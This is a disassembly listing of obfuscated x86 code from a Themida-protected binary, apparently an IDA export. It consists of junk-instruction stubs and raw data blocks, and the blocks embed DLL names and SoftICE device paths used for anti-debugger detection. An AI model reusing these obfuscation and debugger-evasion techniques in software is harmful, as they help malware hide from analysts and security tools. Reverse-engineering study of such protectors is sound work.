loc_56869A:				; CODE XREF: Themida_:00555151j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 47h
		dd 28FFFF4Bh, 516658E3h, 0C5FEDD88h, 0E02AE950h, 0E9ADFFFEh
		dd 0FFFFB747h, 8B243C87h, 0AFE92424h, 0BFFFFEC3h, 7A3D3041h
		dd 0FFB6D7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5686D9:				; CODE XREF: Themida_:00554D76j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_55E1D9
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 468h, 7EE95900h, 87FFFF1Ch, 895C2434h, 7E68242Ch
		dd 0E9000058h, 0FFFF3B93h, 8824DAB0h, 0E93FB551h, 0FFFFC0D6h
		dd 0E924248Bh, 0FFFF71EEh
; ---------------------------------------------------------------------------

loc_568718:				; CODE XREF: Themida_:0055C572j
		pop	edi
		add	edi, 4076AB49h
		sub	esi, edi
		pop	edi
		push	esi
		mov	ecx, [esp]
		add	esp, 4
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56508E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 51502404h, 0CFE9E189h, 8BFFFF6Fh, 14892424h,	0A953E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_568752:				; CODE XREF: Themida_:005611ABj
		or	edx, 38E8563Fh
		push	esi
		mov	esi, 3720776Eh
		jmp	loc_563EB5
; ---------------------------------------------------------------------------

loc_568763:				; CODE XREF: Themida_:0055D79Aj
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	114Bh
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		xor	ebx, eax
		mov	dx, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_5572B4
; ---------------------------------------------------------------------------
		dd 0C281C201h, 2D634CDFh, 71A56857h, 38E95834h,	57FFFEE1h
		dd 0FF7491E9h, 55EF81FFh, 8B384E49h, 62E92434h,	89FFFFD1h
		dd 4C781E7h, 83000000h,	3C8704EFh, 0C895C24h, 7F84B924h
		dd 0CD893A68h, 8BEA0159h, 0C0E9242Ch, 89FFFFF1h, 405E0h
		dd 42D0000h, 87000000h,	14E92404h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5687F3:				; CODE XREF: Themida_:005633C7j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_559D7B
; ---------------------------------------------------------------------------
		dd 0CE81FE87h, 379607D0h, 0A767C681h, 0F101BF24h, 8B41E95Eh
		dd 148BFFFFh, 4C48324h,	0E904C483h, 0FFFEE4ACh,	0DAF6E955h
		dd 0EFC1FFFFh, 0EF814702h, 0B04F1E8Bh, 73E9F829h
		db 31h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568837:				; CODE XREF: Themida_:0055BF29j
		mov	eax, [esp]
		add	esp, 4
		pop	ebp
		pop	dword ptr [eax]
		jmp	loc_5530A5
; ---------------------------------------------------------------------------

loc_568845:				; CODE XREF: Themida_:005568FBj
		sub	dword ptr [esp+4], 17144022h
		jmp	loc_554086
; ---------------------------------------------------------------------------

loc_568852:				; CODE XREF: Themida_:005618FBj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_555CF2
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 83000000h,	3C8704C7h, 89565C24h, 4C681E6h
		dd 0E9000000h, 0FFFF47D0h, 0B925AEBEh, 0D5AEE90Fh, 0C159FFFFh
		dd 0BE5604E3h, 7E0420DCh, 0F7D6F746h, 81EED1D6h, 0B54DC3F6h
		dd 5EF3014Bh, 36F9EB81h, 0C181FCF5h, 14936FCh, 0E981D901h
		dd 14936FCh, 0BEF5E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5688B6:				; CODE XREF: Themida_:005680D3j
		mov	ebp, 7B8740B2h
		dec	ebp
		sub	ebp, 120014Bh
		xor	ebp, 38BC3FE5h
		sub	ebp, 12497360h
		sub	ebp, 6FFC3540h
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_55DF24
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 53000000h, 468h, 0A7FFE900h,	0E389FFFEh, 0EDCAE955h
		dd 5453FFFFh, 4C3815Bh,	0E9000000h, 0FFFFA986h
; ---------------------------------------------------------------------------

loc_56890C:				; CODE XREF: Themida_:0055713Bj
		push	ebp
		mov	ebp, 855915h
		sub	ebp, 0B63AF41Eh
		add	eax, ebp
		pop	ebp
		sub	eax, ebp
		sub	eax, 4A4A64F7h
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		push	68591617h
		pop	esi
		neg	esi
		or	esi, 230C03F9h
		not	esi
		add	esi, 0E4BFB3A5h
		mov	eax, esi
		pop	esi
		jmp	loc_559E97
; ---------------------------------------------------------------------------
		db 48h,	35h, 0D2h
		dd 536266Ch, 5F6E1264h,	0E958C501h, 0FFFF25CAh,	0FF241C89h
		dd 5B042474h, 0FEB9C2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568969:				; CODE XREF: Themida_:005572A5j
		pop	ebx
		push	dword ptr [edx]
		jmp	loc_555B7E
; ---------------------------------------------------------------------------

loc_568971:				; CODE XREF: Themida_:00558DF7j
		xchg	ebp, [esp]
		pop	esp
		push	edx
		push	2286h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_556F60
; ---------------------------------------------------------------------------
		db 0BFh, 86h, 62h
		dd 0EF81036Ch, 0DAE02820h, 4EEEC281h, 0FA2910D0h, 4EEEEA81h
		dd 3C8B10D0h, 4C48324h,	73D0C281h, 0D3018765h, 8B2434FFh
		dd 0C4832414h
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5610A7
; ---------------------------------------------------------------------------

loc_5689CF:				; CODE XREF: Themida_:0055BD58j
		mov	ecx, 64763223h
		inc	ecx
		shr	ecx, 2
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 51316D7Fh
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_553225
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 0E95EF729h, 0FFFF9C40h
; ---------------------------------------------------------------------------

loc_568A04:				; CODE XREF: Themida_:00555CEDj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	ecx, 227F157Dh
		jmp	loc_55BAA6
; ---------------------------------------------------------------------------

loc_568A1B:				; CODE XREF: Themida_:0055D52Cj
		push	0
		sub	[esp], esi
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 869E70Ch
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55A571
		push	dword ptr [edi+1Ch]
		jmp	loc_56080F
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFEB5CFh
; ---------------------------------------------------------------------------

loc_568A4C:				; CODE XREF: Themida_:00556FC0j
		add	esi, 4945A203h
		sub	edx, esi
		pop	esi
		push	ebx
		mov	ebx, 17361987h
		add	ebx, 6005BC9h
		xor	ebx, 5186070Fh
		xor	ebx, 78784445h
		jmp	loc_5550C6
; ---------------------------------------------------------------------------

loc_568A72:				; CODE XREF: Themida_:00566E96j
		push	edx
		jmp	loc_55F097
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C483240Ch, 0B1E95204h, 0F7FFFFA8h, 0D3E955D2h
		dd 8BFFFF81h, 89522404h, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 49E9555Ch, 5DFFFFECh, 4C581h, 0ED830000h, 242C8704h
		dd 0FFD0E3E9h, 1D5BBEFFh, 43E96F81h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568AC7:				; CODE XREF: Themida_:00564968j
		sub	ebp, eax
		jmp	loc_55FE4D
; ---------------------------------------------------------------------------
		dw 0C229h
		dd 530AC281h, 48B3AD6h,	4C48324h, 24B5EA81h, 35E9D0EFh
		dd 5DFFFFEDh, 4C581h, 0C5810000h, 4, 5C242C87h,	2BD55h
		dd 0EF010000h, 74FF575Dh, 3C8B0424h, 4C48124h, 8F000000h
		dd 0FFE92404h, 81FFFFE3h, 0F042444h, 8B534F12h,	89502414h
		dd 4D28E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568B2A:				; CODE XREF: Themida_:00566EBFj
		sub	ebp, 4E6C5808h
		jmp	loc_560CA7
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 9Eh
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568B3B:				; CODE XREF: Themida_:005560F6j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55619F
; ---------------------------------------------------------------------------

loc_568B50:				; CODE XREF: Themida_:00568118j
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_56376D
; ---------------------------------------------------------------------------

loc_568B59:				; CODE XREF: Themida_:0055E219j
		mov	ebp, 4
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		sub	dword ptr [esp], 1AB407A0h
		pop	ebp
		add	ebp, 1AB407A0h
		push	ebp
		jmp	loc_55B43B
; ---------------------------------------------------------------------------
		dw 489h
		dd 0D0896624h, 0C5896655h, 5DEF8966h, 1665A58h,	815F66F8h
		dd 4ECh, 0EC7DE900h, 0C231FFFFh, 84BDE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568BB2:				; CODE XREF: Themida_:0055F15Ej
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_563C12
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FF881AE9h, 0CE958FFh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568BCB:				; CODE XREF: Themida_:0055958Fj
		pop	ecx
		xor	eax, esi
		pop	esi
		push	eax
		sub	dword ptr [esp], 1E6116BBh
		mov	ebp, [esp]
		jmp	loc_56445B
; ---------------------------------------------------------------------------

loc_568BDF:				; CODE XREF: Themida_:00557EEBj
		xor	edx, [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		dw 0E9ADh
		dd 0FFFF05E2h
; ---------------------------------------------------------------------------

loc_568BF4:				; CODE XREF: Themida_:00561CCDj
		push	eax
		mov	eax, 1F363858h
		sub	eax, 537E4137h
		jmp	loc_561B02
; ---------------------------------------------------------------------------

loc_568C04:				; CODE XREF: Themida_:0056835Cj
		mov	edi, 5DC67B9Fh
		sub	eax, edi
		pop	edi
		jmp	loc_55EDDE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 0FFFFBF1Dh
; ---------------------------------------------------------------------------

loc_568C1C:				; CODE XREF: Themida_:00565990j
		mov	edi, 2B0A38AFh
		and	edi, 68371546h
		jmp	loc_556FCE
; ---------------------------------------------------------------------------
		dd 815EF501h, 2EDh, 242C8700h, 6624248Bh, 0E9240489h, 0FFFEA461h
		dd 6CE9E289h, 1FFFF26h,	242C8BEEh, 4C481h, 0E9520000h
		dd 0FFFF93C8h, 7C2CCB81h, 0C3816D95h, 0C5A8C359h, 13E6C781h
		dd 0DF014163h, 13E6EF81h, 295B4163h, 56BB53C7h,	29338041h
		dd 34FF5BDFh, 24048B24h, 8304C483h, 5BE904C4h, 68FFFFEAh
		dd 17BDh, 81243C89h, 4ECh, 24248900h, 4240481h,	5F000000h
		dd 0FF3395E9h, 24248BFFh, 9C240429h, 0FEA3E8E9h, 4C483FFh
		dd 5A2434FFh, 0E904C483h, 0FFFF98BEh, 148BD101h, 4C48124h
		dd 81000000h, 4E9h, 0CADDE900h,	55BAFFFFh, 8113FF38h, 8E7BCDF2h
		dd 3CC5E947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568CF2:				; CODE XREF: Themida_:00555312j
		push	edx
		mov	edx, 12DE702Dh
		jmp	loc_559AF8
; ---------------------------------------------------------------------------
		db 1, 0D0h, 5Ah
		dd 0F3BD5552h, 0BA11F117h, 11F117F1h, 0FF4E02E9h, 0A3E943FFh
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568D17:				; CODE XREF: Themida_:00553F72j
		pop	edx
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55E9D5
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFEABF3h
; ---------------------------------------------------------------------------

loc_568D3C:				; CODE XREF: Themida_:0056328Dj
		add	eax, 4
		push	5FFh
		jmp	loc_55EA42
; ---------------------------------------------------------------------------
		db 52h
		dd 0F08870B6h, 8324148Bh, 0C30004C4h, 24048B66h, 2C481h
		dd 0B60F0000h, 8734FFC0h, 0FEA338E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568D6D:				; CODE XREF: Themida_:00565BBDj
		mov	[esp], eax
		push	11A24E41h
		pop	eax
		sub	eax, 1ED75054h
		jmp	loc_55F121
; ---------------------------------------------------------------------------
		dd 0CE8h, 73DC5A00h, 0D4CFF2D2h, 31936EA5h, 0C18B6696h
		dd 0FE959h, 82640000h, 0C5FCEACh, 9AF7EF57h, 8188C184h
		dd 0DBC181BCh, 0B0000062h, 31DB33D7h, 4D138595h, 19348B06h
		dd 0F8D0Fh, 0AE90000h, 4B000000h, 5661F1EAh, 4054B678h
		dd 7CC6817Eh, 0BA2EA3D0h, 7EF35094h, 98B5F681h,	0BD8B2EC7h
		dd 64D2019h, 645CC681h,	0F38A78B5h, 0F193489h, 685h, 39858900h
		dd 60064D23h, 1621B589h, 0BF0F064Dh, 0EB8361C3h, 38F0F02h
		dd 0F000000h, 4B4BC3BFh, 749BD31h, 0FB81064Dh, 0FFFF9DDCh
		dd 0FF8F850Fh, 11E9FFFFh, 92000000h, 0BA28011Eh, 0E48ECB42h
		dd 4716EF90h, 0AAEB53CFh, 535536EBh, 32335245h,	6C6C642Eh
		dd 56444100h, 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h
		dd 6C6C64h, 707D7h, 180002h, 0B0010h, 29F0021h,	6C3EE544h
		dd 90EE9h, 0A06D6800h, 26E9064Fh, 68FFFDE0h, 64FA0F4h
		dd 0FDE01CE9h, 0A24368FFh, 12E9064Fh, 68FFFDE0h, 64FA38Ch
		dd 0FDE008E9h, 0A3FE68FFh, 0FEE9064Fh, 68FFFDDFh, 64FA4F2h
		dd 0FDDFF4E9h, 0A54868FFh, 0EAE9064Fh, 4EFFFDDFh, 0F6D6E288h
		dd 9979852Bh, 3D1D29CFh, 0DEBECA70h, 61636F15h,	9B410A4Fh
		dd 42E8AF8Fh, 0E48A5636h, 8A30F8D8h, 0EB1AE77Eh, 0D4FF8195h
		dd 8651919Ch, 0EBB85E28h, 184A2B7Ah, 7DC2AA2Bh,	3847114Eh
		dd 0C38AE0D1h, 2AF2501Dh, 0DD46B784h, 0FA176998h, 0B11AD501h
		dd 84D70048h, 65DC5816h, 88B7FC70h, 0F110F29Bh,	5530FD66h
		dd 5AA7EC80h, 0C8A2DE0Dh, 268FF4DAh, 105F05D0h,	0C4019DE1h
		dd 0E62B94EAh, 0E1AC088h, 0A8C0662Eh, 782091B0h, 8429471Ch
		dd 0E2000007h, 8A6A761Ch, 2D0D19BFh, 0D1B1BD63h, 72525E04h
		dd 0F5F703A9h, 2FD59EF3h, 0D67C4323h, 781EEACAh, 1EC48C6Ch
		dd 7FAE7B12h, 0D4FF8101h, 75E52530h, 5F3A07ADh,	95EB1A76h
		dd 9CDB4F20h, 9DF3E268h, 42AB5943h, 0E76594D9h,	6AD13F8Ch
		dd 3EA74D14h, 5ECF9BF9h, 54A2CD81h, 791FE985h, 69D23BACh
		dd 65308E5Dh, 461270BFh, 0DF0E5BA0h, 0D5001FA1h, 6D12790h
		dd 0DE3C1160h, 0FE587016h, 0C292AE01h, 6FDCFEDh, 0A3690000h
		dd 4611F1FDh, 0EAB494A0h, 8B583844h, 30F9D9E5h,	747C7E8Ah
		dd 0A8B45A23h, 4F5B01C8h, 0F1FDA36Fh, 97A34911h, 7C043300h
		dd 0B5D4FF80h, 0AD756AAAh, 0A0ED3A07h, 0F8CD4B64h, 1289C02h
		dd 0DB4F0C7Fh, 0C770938h, 51BADB4Fh, 0FDC71D86h, 0CA198A57h
		dd 0C422A46Ch, 178855FBh, 4F0C90F0h, 0CF38A1DBh, 34DAA402h
		dd 993F0967h, 7CE856CCh, 0DC886E76h, 162A0121h,	56B6B0h
		dd 75F40000h, 0B1FB07ADh, 4F20D0A4h, 58FEC6DBh,	1307D4Ch
		dd 0DB4F207Fh, 20770938h, 51BADB4Fh, 0F3CE1D86h, 16458AE2h
		dd 0D1399470h, 0D62368D1h, 1ACD9A7h, 0BBEF58D5h, 7EAFA4D4h
		dd 0F03D8C25h, 592756A3h, 0D8D501BDh, 0F6C2206Fh, 98644450h
		dd 2C0725F2h, 0BD000006h, 0FC2BAD75h, 0DB4F2084h, 0D0FF44ADh
		dd 0DB4F20B0h, 0E2AF1881h, 599ECE07h, 20A3DD0Ch, 258EDB4Fh
		dd 3C89D6h, 2DF6CE2Bh, 1549BA87h, 0F24198E9h, 3834F0C3h
		dd 83C831D1h, 66B6FD47h, 6E9D6275h, 0D501DB12h,	0FE4DB61Fh
		dd 9C420AEAh, 9A63C190h, 0C9963C07h, 0C5A0EF58h, 0E8175C10h
		dd 0CAF27AF9h, 0EC4A8FF8h, 8E6E7A20h, 0BF652FC2h, 632B8956h
		dd 0E5A7A5BDh, 3005987Dh, 5AE12h, 4CF2B800h, 0EF956040h
		dd 933903E3h, 34DAA787h, 0D97F4828h, 7425CBCDh,	19F905ABh
		dd 0C0A0AC52h, 62424EF4h, 51E8F49Ah, 7F2B5584h,	0FB06D4FFh
		dd 5D2886BBh, 420A68B7h, 2482CF9Ch, 0D63CE758h,	45F6C9E7h
		dd 93C20FDCh, 0DB4E87EDh, 2372DB44h, 8A57FDC5h,	5CD0947Ah
		dd 0DB4E8A0Eh, 0D86CF755h, 0CD8BB016h, 44FFFFFEh, 92B8C8F7h
		dd 1079DB4Eh, 0AD75F9C1h, 9B64C207h, 2C953B08h,	0CA9FEE5Fh
		dd 4186E6EFh, 3824FD12h, 0B37CDAD1h, 9BCF400Dh,	0FAA94096h
		dd 0D2A5F42Eh, 0D5005D69h, 34E42FCCh, 0D039DA11h, 0E4023E8Bh
		dd 0CD0D5B61h, 7083B201h, 0B1CAEA59h, 274C7B48h, 6FCEB433h
		dd 0D63401A7h, 7899660Ch, 0AE1AD094h, 49D90440h, 6EBC8CD3h
		dd 160h, 58FEC927h, 0C0F24109h,	256A02D3h, 384769F6h, 0D71F88D1h
		dd 5816ADAEh, 0D3993CDCh, 0F2C45F8Eh, 65C3F110h, 0B627F49Ah
		dd 5E2B9467h, 23E5283h,	0C622F641h, 5F2148F9h, 69F4DA74h
		dd 7F23135Ch, 4AA06B54h, 1D73DC82h, 6DDEAB51h, 0EE90BF04h
		dd 43EAC407h, 6F3795DAh, 690FDCh, 0A9D825F4h, 0EE8D95D7h
		dd 44A2F15Ah, 78BED67Ch, 1478208Ah, 465213Fh, 3B010000h
		dd 0DEA98995h, 824C2C38h, 23F0D0DCh, 0C891717Dh, 9C141622h
		dd 404CF2BBh, 0E7F39960h, 89953B07h, 2F3BE1A9h,	0E49CCB98h
		dd 4DD4FF7Dh, 0DDF80242h, 0A90E4A8Fh, 3B15BA58h, 62B4216Eh
		dd 2A931797h, 0E3418EDBh, 0F2217016h, 0D13F4FF2h, 67194895h
		dd 0CAD4FF0Fh, 0D63F1261h, 0C1673391h, 6309D5B5h, 0CA703896h
		dd 0B11076B2h, 0B29FE92h, 3F3h,	0FB07AD73h, 9EAA501Bh
		dd 424EF4BEh, 0E3EF9562h, 88943A03h, 642D6286h,	0BD2B2BEh
		dd 0AD795965h, 531BFB07h, 3D0AA1ADh, 0FF7D720Eh, 74B4BFD4h
		dd 3A07AD75h, 22C88FEDh, 915E04CCh, 0AB73D120h,	42283805h
		dd 225C0E02h, 0A907DB4Fh, 0B016409Ah, 0FFFD233Dh, 0AD757BFFh
		dd 2084FC2Bh, 44ADDB4Fh, 0A2330EDBh, 0FD5685CAh, 0E4D1384Dh
		dd 63FA367Bh, 0DDDEBC2Ah, 5FA9BD0Ch, 866B7F2h, 37DDAA3Dh
		dd 4190F96Ah, 48106F66h, 0C5F439A2h, 0D138479Ah, 7DA6EE57h
		dd 0AD1A6E9Dh, 8ED3993Ch, 0D39CC45Fh, 8FD43D22h, 726D1342h
		dd 5BC4269Dh, 0BA3D8927h, 89D82F36h, 70FCD9B4h,	6291DE2Bh
		dd 269DCA1Eh, 8B54AA13h, 176796E5h, 1A1C8703h, 460E6CB1h
		dd 371F5BA0h, 53F9C6DDh, 0BEE11586h, 0CDE13091h, 0C79225EDh
		dd 7AE35421h, 1FF70862h, 0B1CFA42Eh, 2FFh, 0EFFBA167h
		dd 929E440Fh, 3642E8B2h, 0D7E38956h, 7C882EF7h,	5821767Ah
		dd 0FFC6A6B2h, 0A16D4D59h, 470FEFFBh, 31FE95A1h, 0FF7C7E02h
		dd 68A8B3D4h, 0D5A2DDF8h, 5281C62Fh, 0D13FC0A8h, 6DCB1079h
		dd 0FEFFBA1h, 72D09D43h, 0B8EC04AAh, 2492AEA1h,	2A9314Fh
		dd 0F7BD0000h, 9A654551h, 3E08E8F4h, 0DFAC8C98h, 844D2D39h
		dd 0D8D0D2DEh, 0FC08AE77h, 0A3AF551Ch, 4551F7C3h, 0EBF79D65h
		dd 28588754h, 9D4FF7Ch,	2886BEFEh, 0ACE8B55Bh, 6C524F0Dh
		dd 655BEEBh, 7DC2AA2Bh,	7B7F0130h, 0F749DB4Eh, 3AE66C97h
		dd 0E1309964h, 55956594h, 238CD13Fh, 36B880DEh,	0FF157907h
		dd 0E64FB8D4h, 0E0AD0BDAh, 0CA10EB3Ah, 582E5DA2h, 6FD4FF15h
		dd 158DF322h, 3BA4D4FFh, 0E3B019ECh, 3B4C5A96h,	0D5FB2CF3h
		dd 0ACFB640Ah, 26F2854Eh, 5421C793h, 3CAD7AE3h,	6CB906D3h
		dd 0FE8D433Dh, 3685EED4h, 8E21EA4Ah, 0ABB720C6h, 0A3E88C4Eh
		dd 0FE8E1474h, 10D72DD4h, 3F0CB27Dh, 3A9865CEh,	0F760C96Fh
		dd 5E04CC2Ah, 0C8F74491h, 0D4FE8DB8h, 0D5C11079h, 0FB07AD75h
		dd 0F4C0531Bh, 0A710814Eh, 9373F9DAh, 0FB5926CCh, 0A4BB882Eh
		dd 68468CB8h, 0CF974AFAh, 5B00C45Eh, 117A6F94h,	0EC5D2505h
		dd 0A9C53E7Ah, 2BF86123h, 13B980DEh, 2886D546h,	0FCECB95Fh
		dd 0F88B57B5h, 521F882Eh, 3E2692E1h, 515D03CBh,	0BD02A871h
		dd 0ADF2985Fh, 0FE97027Eh, 77C62FD4h, 0D33BC1A2h, 430CFF65h
		dd 0E8B1919Dh, 7BE48A55h, 0F18450AEh, 4E1B842Ah
		dd 0B27F25F0h, 17E48A54h, 9C5212F6h, 53A59F83h,	96A9D706h
		dd 1F88D4FEh, 3A972D0h,	1ADD82BEh, 97805346h, 8C543448h
		dd 54EA19E6h, 8F7D735Bh, 10A36CCAh, 60D19E44h, 83CA8F7h
		dd 22670DD5h, 9A65F8C4h, 283C8BF4h, 95DA8048h, 8B671948h
		dd 61CA1C8Bh, 4C9B410Bh, 0BD501977h, 0F804DF3h,	1463D9A6h
		dd 0D3C6B0D8h, 0CE988BA9h, 0A269BF28h, 6FBE2FFCh, 0D69E4103h
		dd 0B9AFEB30h, 0ECBC8AACh, 4B2B3F8Eh, 3510DD83h, 4B87CCA0h
		dd 9EF7106Ch, 0B0FD4CDEh, 74628A81h, 525EC712h,	478CE0F5h
		dd 29CF9CFAh, 6D9CEB5Ch, 0C2EDF9Dh, 50305FA4h, 0E10FEE9Fh
		dd 6CCA0F78h, 0BF30FDA3h, 753D9B70h, 652C8ACFh,	3281F2BFh
		dd 0E3763E1Eh, 3F0C751Bh, 24CA94F2h, 6897E657h,	827BEE52h
		dd 6D37944h, 7F49DCA8h,	8CA370D9h, 0C02EA4A0h, 27EF1252h
		dd 11DE3C81h, 0A54B156Bh, 41867D8h, 0C7B9E835h,	6AA57D52h
		dd 3CE2AB01h, 21C78FEDh, 0F4CB0754h, 3C1A6FE2h,	9D67C43h
		dd 12D92F98h, 0DF2E9F6Ch, 8F43B481h, 0DB95F0C1h, 0CB074CB5h
		dd 0C59214ABh, 21BFEB1Fh, 627FC4Bh, 0F7BF2222h,	18764551h
		dd 0F957A64Ch, 0A0BE8B31h, 0Fh,	5E288656h, 247AEBB8h, 75E6B359h
		dd 75DFA726h, 0DE3C09AFh, 45A37016h, 0A806D379h, 106E3BE1h
		dd 76D4A147h, 0DC3A07ADh, 3E9C690Fh, 0A301CE74h, 0E86532D8h
		dd 5585450h, 4,	8704E883h, 685C2404h, 141h, 68242C89h
		dd 5AEAh, 51243489h, 0D578E368h, 0E9C1593Ah, 1FE98106h
		dd 55366647h, 0CA911DBDh, 5DE931CCh, 8159CD89h,	4ECh, 24248900h
		dd 4240483h, 4EC815Eh, 89000000h, 481242Ch, 24520D24h
		dd 8468F76h, 0D086E81h,	0FF762452h, 815E2434h, 4C4h, 242C8B00h
		dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 0FDD728E9h, 54F50CFFh
		dd 0B86842D9h, 64FA816h, 0E0FFC503h, 3F78C9D4h,	472CD5E0h
		dd 7AC125FCh, 2F2CA805h, 1254B098h, 121ECBCAh, 4C3C8BDCh
		dd 762F4E03h, 37624527h, 3F3CD09Eh, 74490152h, 0E0EAE41h
		dd 300B613Dh, 3E3560B0h, 4A3A347Dh, 462E9202h, 440B42BDh
		dd 59DE95C5h, 6E142149h, 7B634D39h, 2C046B2Fh, 72E9h, 0BD836000h
		dd 64D0FCDh, 5840F00h, 0E9000000h, 5Dh,	3E80006Ah, 8850F30h
		dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah
		dd 24h,	0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh
		dd 406A0000h, 2E946h, 6A0000h, 461858Dh, 8950064Dh, 50962404h
		dd 0FF006A96h, 4D2F4995h, 0C6C36106h, 4D26E585h, 4E84D06h
		dd 0A8000000h, 50A43576h, 424448Bh, 4489008Bh, 0FF580424h
		dd 4D22C1B5h, 6858D06h,	0FF064D39h, 498589D0h, 0E8064D2Fh
		dd 0Ah,	594C1094h, 0B03EEE98h, 0BD8968F4h, 64D1231h, 0C381FC5Bh
		dd 62CBh, 68F0F53h, 8B000000h, 4D311585h, 0BE5A06h, 0E9000000h
		dd 14h,	18AF816Dh, 0EE9F7142h, 0BBCF3F5Bh, 582182C3h, 55413ACFh
		dd 0E9330C8Bh, 5, 95796477h, 8E9813Ah, 8077F709h, 0E981D6E4h
		dd 2D791E4Fh, 22C59529h, 0F181064Dh, 7D2CFA3Ch,	65E08166h
		dd 330C8990h, 8E8h, 90082300h, 277CFB03h, 58E0FB1h, 66000000h
		dd 42ABCA81h, 14E95Fh, 79260000h, 0E72A8FB7h, 4F0CD715h
		dd 5646B110h, 0AC51FDC7h, 0EE839A87h, 6890F04h,	3000000h
		dd 4D1109BDh, 0F8FE8106h, 0FFFFF9Dh, 0FFFF8385h, 19958BFFh
		dd 0EB064D30h, 2E5C5C1Eh, 4349535Ch, 5C5C0045h,	49535C2Eh
		dd 44495657h, 2E5C5C00h, 49544E5Ch, 8B004543h, 9E9C0h
		dd 76E50000h, 1128FE10h, 0BF37F188h, 2EEC8139h,	1BD9BD83h
		dd 7500064Dh, 11BD8309h, 64D00h, 53501974h, 0FB8C08Bh
		dd 89000004h, 4D257585h, 159D8D06h, 0FF064FB7h,	83585BD3h
		dd 4D0011BDh, 17740006h, 0FB85350h, 89000004h, 4D257585h
		dd 49D8D06h, 0FF064FB4h, 80585BD3h, 8B51DDCEh, 0B5895ECFh
		dd 64D2349h, 8B60C08Bh,	4D2B459Dh, 0BE906h, 25370000h
		dd 672D0C3Dh, 210A55A1h, 85C661D0h, 64D26E5h, 0CAB56043h
		dd 73BC9DBEh, 7A686102h, 0E8CE2A74h, 8,	3CD26DB6h, 0A5CE12C5h
		dd 815F8AB1h, 1A862434h, 6A72A4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E9BD7EC3h, 5, 273A2D71h
		dd 31B5FFEFh, 80064D14h, 858D5ADEh, 64D3906h, 0D6815260h
		dd 0A9B373Eh, 0FEBF0F58h, 0E9D0FF61h, 0Bh, 314EE7CDh, 0D83C17CBh
		dd 906CFB93h, 8B50D38Bh, 6A90F9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0E29021C3h, 62F7A73Bh
		dd 30F1B501h, 6A064Dh, 14E18166h, 4E8C9h, 800000h, 0F38B0000h
